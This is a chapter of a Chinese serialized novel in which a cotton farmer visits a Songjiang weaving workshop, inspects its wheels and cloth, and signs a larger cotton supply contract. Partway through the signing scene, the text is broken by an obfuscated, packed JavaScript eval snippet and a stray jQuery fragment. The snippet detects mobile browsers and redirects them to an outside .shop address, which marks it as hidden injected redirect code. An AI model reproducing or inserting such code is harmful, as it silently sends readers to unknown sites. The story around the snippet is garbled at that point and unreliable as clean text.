归有田站在沈记院门口，手里拎着一只粗布袋。
布袋口扎紧了，底坠下来，把布袋撑出几个不规则的棱角。
他人比去年秋天瘦了一圈，脸上的皮晒得更糙了，颧骨高出来一截，但眼睛亮。
那亮不是精神头的亮，是眼睛里有一层光，像刚擦过的铜面。
沈秀宁从织坊出来，手里还捏着一截纱线，抬头看见他，愣了一拍。
归有田把布袋搁在石桌上，解开扎口。
布袋里头掏出来的东西在石桌上排开。
炒花生，用旧报纸包着，油洇透了纸。
棉籽饼，压得方方正正的，巴掌大一块。
还有一包用粗棉布裹着的干棉花标本。
归有田把那包棉花标本推到沈秀宁面前。
“这是今年新收的。”
他手指在棉花的纤维上捻了一下，捻出一小撮，举到光底下。
“纤维比去年那批还长了半分。去年的一寸二，今年的一寸二出头。别小看这半分，多这半分，纺出来的纱能多捻两转不断头。”
沈秀宁把纱线绕在手指上，腾出手接过那撮棉花。
纤维捏在指腹上，比普通的棉长出一截，韧性也好，扯了一下没断。
她把棉花对着光看，纤维在日头下泛着一层细白的柔光。
归有田站在旁边，看她把棉花举到光底下的动作，没出声。
他种了一辈子棉花，每年收完都在掌心捻，捻纤维的长短，捻韧性的好坏，捻了一辈子也没人拿他的棉花对着光看过。
这是第一次。
“归叔，你为这半分，在地里蹲了多久？”
归有田没答，把布袋口重新扎上，拍了拍手上的棉絮。
“你信里说细布被苏州瑞福祥认了。老头子一高兴，就想亲眼来看看。”
他说这话的时候眼皮没抬，手指在布袋的扎绳上绕了一圈又一圈。
黄船工的船是三天前靠的岸。
他在青龙河码头卸完货，揣着归有田的口信跑到沈记。
归有田说要亲自来松江，看看沈记。
沈秀宁当时站在账房门口，手里拿着笔，听完口信笔尖在纸上顿了一下，墨洇出一个指甲盖大的黑点。
归有田种了一辈子棉花。
他每年最远的路就是从太仓岳王镇到苏州，托人把棉花卖给布庄。除了卖棉，几乎不出门。
这次他亲自来了松江。
沈秀宁把笔搁下，带他去看织坊。
新织坊的石基已经干透了，十二根松木柱子立在晨光里，木色比刚立起来时深了一截。
柱面被风吹出一层细密的裂纹。
二十台纺车排成两排，飞轮在晨光里转着，锭杆声嗡嗡响，从东边窗口一路响到西边。
十二台织机沿墙一溜，筘座咔嗒咔嗒地响，梭子在经线之间来回穿。
归有田站在织坊门口，没进去。
他看了一会儿，目光从纺车看到织机，从织机看到新工棚，从工棚看到忙着的工人。
他上一次来松江是卖棉花，那时候托人带路走了几条巷子，看到的都是小布庄后院支一两台机子，妇人坐在织机前埋头织布。
没有一次看到过二十台纺车同时转的场面。
归有田把手在裤腿上擦了擦，蹲下身。
他在靠近门口那台八锭纺车前蹲下来，手撑着膝盖，看赵婶纺纱。
赵婶脚蹬子踩着，飞轮匀速转，右手引纱从锭杆上绕出来，手指带着纱线穿过导纱钩，一层一层缠上纱管。
纱线在锭杆上越缠越饱满，叠出一个纺锤形的纱管，表面光洁，没有毛头。
归有田看了一会儿，没说话。
他伸手，在赵婶引纱的那个瞬间，指尖碰了一下从锭杆上绕出来的纱线。
纱线从他指腹上滑过去，细细的，捻得紧实。
那是他种出来的棉花。
从地里摘下来，晒干了，轧去籽，弹松了，纺成纱。
他在自己手里捻了二十年的棉花，头一回看到自己的棉变成纱，在别人手里转。
归有田把手收回来，往衣摆上蹭了蹭。
“这台一天能纺多少？”
赵婶没停手，引着纱线换了一个角度。
“八锭的一天七八斤，十二锭的十来斤。”
归有田的手指在膝盖上敲了敲。
他的手撑着膝盖，指尖在裤腿上划了一下，像是在打算盘。
一百亩棉田，丰年出三千斤棉花。
他种了一辈子棉花，这个数不用打算盘，脑子里就有。
按一斤棉纺八两纱算，三千斤棉花出两千四百斤纱。够八锭纺车纺一年。
三百亩出九千斤棉花。
九千斤棉花，够七千二百斤纱。
他算到这里，手从膝盖上拿下来，在大腿上蹭了一下。
沈秀宁没催他，站在旁边等他看完。
归有田站起来的时候腿有点僵，他弯腰拍了拍膝盖上的灰，又看了一眼赵婶手里的纱管。
“还有别的看吗？”
沈秀宁带他去库房。
库房在旧织坊的东侧，一扇木门推开，光线暗下来。
细布样品用素色棉布包着，叠得整整齐齐码在木架上。
沈秀宁把棉布打开，最上面那一匹的布头还留着赵婶试织时的纹样边。
布面密实，经纬交织紧致，对着光看，纱线排列得匀匀的，没有一条松经。
旁边搁着一封信。
顾慎之的信，用公文纸写的，字迹端正。
信封上写着“沈记细布，可入一级”八个字，信纸折了三折，压在样品底下。
归有田不识字。
沈秀宁把信打开，念给他听。
念到“可入一级细布”的时候，她没抬头，但把声音放平了。
归有田听完，伸手把细布样品拿起来，对着光看。
他把布举起来，眯着眼看了一会儿，又用手指在布面上按了按，指腹顺着经纬线走了一截。
那个动作和钱大爷一模一样。
不是故意的，是种了几十年的本能——用手去摸、去按、去感觉布的密度和手感。
他把布放下来，搁回木架上。
沉默了一会儿。
“一百亩不够。”
归有田开口的时候，声音不高，但很稳。
“我手里那三百亩，全给你。”
他说完，顿了一下，又补了一句。
“岳王镇还有两家棉农，棉花种得不比我差。张老根，种了三十年棉花，手里八十亩。丁大仓，也是老把式，手里七十亩。你要是信得过，让他们也来松江谈。”
沈秀宁没立刻答应。
她问了一句，声音不大。
“张老根和丁大仓的棉花品质，和归叔的一样？”
“你把细布标准给他们看。他们自己会掂量。”
归有田说这话的时候，眼睛看着木架上的细布样品。
沈秀宁从账房抽屉里拿出一张空白契纸，铺在桌上。
笔尖蘸了墨，她写得很慢，每一行都写完，停一下，再看一遍。
原一百亩扩至三百亩，三年优先收购权，保底价每斤十五文，丰年随行就市。
写完了，她又从上到下看了一遍，确认没有漏字，才把笔搁下。
归有田拿起笔。
他不会写字。
笔在他手里握得很生，指节攥白了，在纸上画了一个圈。
画完圈，他把笔放下，伸出右手拇指，在朱砂盒里蘸了一下。
拇指肚上染了一层朱红，红得发亮。
他按下去之前，停了一下，抬头看了沈秀宁一眼。
“沈老板，你跟我说实话。”
拇指悬在契纸上方，朱砂在指尖上泛着光。
“你的细布卖好了，我这三百亩，够吗？”
沈秀宁顿了一下。
她没绕弯子。
“不够。”
归有田的手指没动，悬在那里。
“三百亩出九千斤棉花，够织三千匹细布。瑞福祥月需五十匹，一年六百匹，够了。”
沈秀宁说到这里，停了一下。
“但如果苏州七家分号都上沈记细布，三百亩，撑不住。”
归有田愣了一下。
然后他笑了。
笑声不大，从嗓子眼里出来的，闷闷的，但确实是笑。
他笑完，拇指按下去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691654|207911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
朱砂手印落在契纸的圈上，指纹的纹路嵌进纸面，朱砂渗进纸纤维里，在圈内印出一个完整的指节印。
他按完了，把拇指抬起来，看了看契纸上那个红印子。
“那就让张老根和丁大仓也签。”
他把拇指在裤腿上擦了擦，朱砂在粗布上蹭出一道红痕。
“四百五十亩，够不够？”
沈秀宁没有立刻回答。
她低下头，手指在膝盖上划了几个数。
四百五十亩，丰年出一万三千五百斤棉花。够织四千五百匹细布。
七家分号月需三百五十匹，一年四千二百匹。
刚够。
一点余量没有。
她抬起头，看见归有田正看着她。
她忽然想到一件事——去年秋天在太仓签约的时候，一百亩她觉得已经很大了，够织多少布都不敢算。现在四百五十亩，刚够。
这生意长了多少，棉田就得跟多少。棉田跟不上，生意就卡在半路。
“暂时够了。”
她把手按在契纸上，指腹压住边角。
“但再多，还得找棉。”
归有田点了点头。
他没说话，把手伸进布袋里，摸了半天，摸出一张纸来。
纸折得皱皱巴巴的，边角磨毛了，折痕处已经发白，快破了。
那是黄船工带去的沈秀宁的信。
信封上“归先生亲启”四个字还在，墨色淡了一些，被反复摩挲过。
归有田把信放在石桌上，用手把折痕压平，纸张在石面上摊开。
“这封信我看了三遍。”
他把信纸按在石面上，手指压住边角。
“不是识字。是找人念了三遍。”
他捻了捻信纸的边角，纸已经磨薄了。
“第一次听，觉得你一个小姑娘口气不小。”
“第二次听，觉得你说的在理。”
“第三次听——觉得你们沈记值得赌一把。”
他说完，把信纸叠了叠，推回沈秀宁面前。
“这信你留着。”
沈秀宁把信接过来。
纸已经被折了太多次，折痕处的纸纤维断了，一碰就软。
她把信对折了一下，压在掌心底下，没说话。
这封信是她伏在账房桌上写的，写到一半笔尖劈了叉，换了一支笔继续写。写完封好口，交给黄船工带回去的时候，她也没想到归有田会把它折成这样。
从太仓到松江，再从松江回太仓，又揣在身上带回来。
信封边角的毛边是被人一遍一遍捻出来的。
归有田站起来，把手在衣摆上拍了拍。
“走了。”
沈秀宁送他到院门口。
归有田回头看了一眼那包棉花标本，还搁在石桌上。
“那个给你们工坊的纺工看看。太仓棉到底长什么样。”
他说完，弯腰拍了拍裤腿上的土，跟着黄船工往码头方向走。
沈秀宁站在门口，看着他的背影走远。
他走路还是那个架势，步子大，不紧不慢，布鞋底在青石板上磨出沙沙的声响。
走到巷口的时候，他侧了一下身，避过一摊泥水，又继续走。
沈秀宁低头看了一眼手里的契纸。
朱砂手印已经干了。
指纹的纹路里嵌着细土，不是松江的土，是太仓棉田里带过来的，嵌在指缝里，按契纸的时候一起印了上去。
她把契纸翻过来，压在掌心下面。
第一次去太仓签那一百亩约的时候，她坐在回程的船上，心里想的是——一百亩，太多了，吃不下怎么办。
现在四百五十亩，太少，不够吃怎么办。
她把信纸从布袋里抽出来，摊开在石桌上。
纸上“归先生亲启”四个字已经磨淡了，但折痕还在。从她的手里到归有田手里，再回到她手里。
她把契纸和信纸并排放在石桌上，低头看了很久。
一张是棉田的契纸，朱砂手印嵌着太仓的细土。
一张是她写的信，边角磨毛了，折痕处的纸纤维断了。
多了一个朱砂手印。
和三倍的棉田。